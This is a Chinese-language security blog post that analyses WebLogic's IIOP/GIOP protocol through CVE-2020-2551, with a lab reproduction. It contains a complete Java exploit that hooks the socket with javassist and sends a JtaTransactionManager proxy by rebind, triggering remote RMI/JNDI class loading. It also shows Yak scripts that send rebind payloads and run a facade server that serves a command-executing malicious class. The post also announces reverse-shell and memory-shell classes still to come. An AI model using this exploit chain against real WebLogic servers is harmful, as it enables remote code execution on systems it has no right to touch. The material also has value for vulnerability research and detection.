背景
Weblogic的7001端口默认支持T3协议和IIOP协议,本文将基于CVE-2020-2551漏洞分析weblogic的IIOP协议与其利用。
与IIOP协议相关的一些名词还有CORBA、IDL、ORB、RMI-IIOP、GIOP、stub、skeleton。简单理解,其实IIOP类似RMI。
名词解释
下文将用自己的理解来介绍一些相关名词。
IDL:全称(Interface Definition Language)接口定义语言,它是一种与编程语言无关的接口描述语言,其它编程语言都有针对IDL的编译器,可以将IDL语言编写的文件转为其编程语言的接口或类型。保证了不同语言之间接口的统一,可以跨语言沟通。
ORB:全称(Object Request Broker)对象请求代理。ORB代理的是服务端的对象,根据客户端的请求,调用相应对象,而客户端不需要关心对象是服务端本地的还是远程的。
ORB和IIOP关系如图:
CORBA:全称(Common ObjectRequest Broker Architecture)公共对象请求代理体系结构,也就是通用的ORB体系结构,IDL、ORB和IIOP是CORBA的三个关键模块。按结构可以分成三部分,客户端、服务端、注册中心,和RMI很像,不过RMI不能跨语言。其提出是为了解决不同应用程序间的通信,曾是分布式计算的主流技术。
漏洞复现
漏洞环境使用vulhub的weblogic/CVE-2017-10271
,weblogic版本:10.3.6.0,利用工具使用Y4er的CVE-2020-2551,地址:
https://github.com/Y4er/CVE-2020-2551
如果weblogic的主机和攻击机不在同一个网络环境下(例如Docker搭建),执行EXP可能就会出现timeout的报错,如图。
原因是第一次LocateRequest请求,返回中会有weblogic主机的ip,下一次的请求会使用weblogic主机的ip,如图,ip是docker的,所以会出现timeout
网络问题解决:1.修改官方库;2.自己实现IIOP协议。
方法1简单些,只需要找到发起socket连接的位置,修改ip和端口。
先打开idea,添加异常断点,然后正常运行EXP,出现超时异常时可以看见调用栈如图
找到了需要修改的位置,可以把
MuxableSocketIIOP.class反编译修改后再重新编译放回去,也可以使用javassist修改jvm中已经加载的MuxableSocketIIOP.class。
这里使用javassist修改,代码如下
package payload.com.payload;
import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;
import com.nqzero.permit.Permit;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.io.IOException;
import java.lang.reflect.*;
import java.rmi.Remote;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import javassist.*;
public class Test {
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
public static void main(String[] args) throws Exception {
String ip = "192.168.101.211";
String port = "7001";
String rmiAddr = "<rmi地址>";
hookSocket(ip,port);
Hashtable<String, String> env = new Hashtable<String, String>();
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));
Context context = new InitialContext(env);
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(rmiAddr);
Remote remote = createMemoitizedProxy(createMap("pwned"+System.nanoTime(), jtaTransactionManager), Remote.class);
context.rebind("hello", remote);
}
public static void hookSocket(String ip,String port) throws NotFoundException, CannotCompileException, IOException {
ClassPool cp = ClassPool.getDefault();
CtClass ctClass = cp.get("weblogic.iiop.MuxableSocketIIOP");
String code = "return super.createSocket(java.net.InetAddress.getByName(\""+ip+"\"),"+port+", CONNECT_TIMEOUT);";
CtMethod ctMethod = ctClass.getDeclaredMethod("newSocket");
if(ctClass.isFrozen()){
ctClass.defrost();
}
ctMethod.setBody(code);
ctClass.toClass();
ctClass.writeFile();
ctClass.freeze();
}
public static <T> T createMemoitizedProxy(final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[0] = iface;
if (ifaces.length > 0) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(Proxy.newProxyInstance(Main.class.getClassLoader(), allIfaces, ih));
}
public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
return (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}
public static Constructor<?> getFirstCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
setAccessible(ctor);
return ctor;
}
public static void setAccessible(AccessibleObject member) {
Permit.setAccessible(member);
}
public static Map<String, Object> createMap(final String key, final Object val) {
final Map<String, Object> map = new HashMap<String, Object>();
map.put(key, val);
return map;
}
}
复现:打开yakit的反连服务器,监听一个端口,复制RMI反连的地址(127.0.0.1要改为本地ip),填入上面的exp中,执行,yakit收到rmi握手请求,如图,说明存在漏洞。
协议分析
上述方法是通过javassist修改官方库,下面分析下EXP利用的过程,自己实现iiop协议。
打开wireshark,过滤下giop协议,看一下exp执行时的流量,如图,两次请求,第一次请求获取了key,第二次是rebind请求,这次请求发送了payload
对比Request请求的key和LocateReply,找一下key的位置,如图,key在IOR中,但wireshark解析不了LocateReply(可能是支持协议版本太老了)。
key一般是\x00BEA开头,且长度为120,所以可以通过正则找出key,再通过key,构造Request请求。
实现GIOP协议
如果只是CVE-2020-2551的漏洞利用,只需要简单的替换下key,替换下stub data的命令,发送Request请求就可以了,但如果是CVE-2020-14644漏洞或其它基于IIOP协议的漏洞利用,就更复杂了,每次都需要抓包,替换字符串,而且不稳定。所以不如手工实现下GIOP协议。
解析和生成GIOP协议可以参考wireshark,但解析存根、生成ServiceContextList可能就需要调试weblogic或参考文档了。
如果想解析全部GIOP协议,可以参考:
https://www.omg.org/spec/CORBA/3.0.3/PDF
Yak IIOP漏洞检测
上述实现的GIOP协议,已经更新到yak引擎,只需要使用如下方式,即可发送反序列化利用的rebind请求
iiop.SendPayload("192.168.101.211:7001", iiop.RebindPayload("rmi://192.168.101.135:4434/bZRqVqxnhF530qBjsxJY"))
如图,成功收到rmi请求,说明存在漏洞
配合facadeServer即可以实现漏洞利用。下面再介绍下facadeServer的使用,代码示例如下
className = "test"
s = yso.NewFacadeServer("192.168.101.211", 9090)
execClass := yso.GenExecClass(className, "echo 1 > /tmp/1.txt")
s.Config(
yso.SetHttpResource(sprintf("%s.class", className), execClass),
yso.SetLdapResourceAddr(className, sprintf("http://%s/",s.GetAddr())),
yso.SetRmiResourceAddr(className, sprintf("http://%s/#%s", s.GetAddr(), className)),
)
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
s.Serve(ctx)
Facade server可以监听一个端口,通过Config方法,可设置对不同协议请求的响应,例如上述代码,访问http://192.168.101.211:9090/test.class
即可下载命令执行的恶意class,请求ldap://192.168.101.211:9090/test
就可以获得ldap利用的payload,请求rmi://192.168.101.211:9090/test
就可以获得rmi利用的payload(ldap和rmi利用的codebase默认是 http://192.168.101.211:9090/
),如果想修改codebase可以设置yso.SetJavaCodeBase("<class地址>"),yso.SetJavaFactory("<class名>")
yso.GenExecClass可以动态生成一个利用静态代码块命令执行的class(会根据当前系统选择使用cmd还是bash执行命令),后续还会添加内存马、DNSLog、反弹shell、正向代理等的恶意class
更新及上线通知!!
END